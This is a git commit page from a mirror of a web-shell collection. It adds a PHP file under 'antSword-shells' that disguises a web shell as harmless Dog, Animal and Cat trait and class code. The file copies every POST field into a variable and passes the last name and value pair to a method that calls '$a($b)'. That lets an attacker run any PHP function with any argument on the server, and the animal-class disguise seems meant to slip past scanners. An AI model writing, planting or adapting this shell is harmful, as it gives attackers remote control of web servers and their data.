mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
parent
45260b3568
commit
2c42c91689
1 changed files with 46 additions and 0 deletions
46
antSword-shells/php3.php
Normal file
46
antSword-shells/php3.php
Normal file
|
@ -0,0 +1,46 @@
|
|||
<?php
|
||||
|
||||
trait Dog
|
||||
{
|
||||
public $name="dog";
|
||||
|
||||
public function drive()
|
||||
{
|
||||
echo "This is dog drive";
|
||||
}
|
||||
public function eat($a, $b)
|
||||
{
|
||||
$a($b);
|
||||
}
|
||||
}
|
||||
|
||||
class Animal
|
||||
{
|
||||
public function drive()
|
||||
{
|
||||
echo "This is animal drive";
|
||||
}
|
||||
public function eat()
|
||||
{
|
||||
echo "This is animal eat";
|
||||
}
|
||||
}
|
||||
|
||||
class Cat extends Animal
|
||||
{
|
||||
use Dog;
|
||||
public function drive()
|
||||
{
|
||||
echo "This is cat drive";
|
||||
}
|
||||
}
|
||||
|
||||
foreach (array('_POST') as $_request) {
|
||||
foreach ($$_request as $_key=>$_value) {
|
||||
$$_key= $_value;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$cat = new Cat();
|
||||
$cat->eat($_key, $_value);
|
Loading…
Reference in a new issue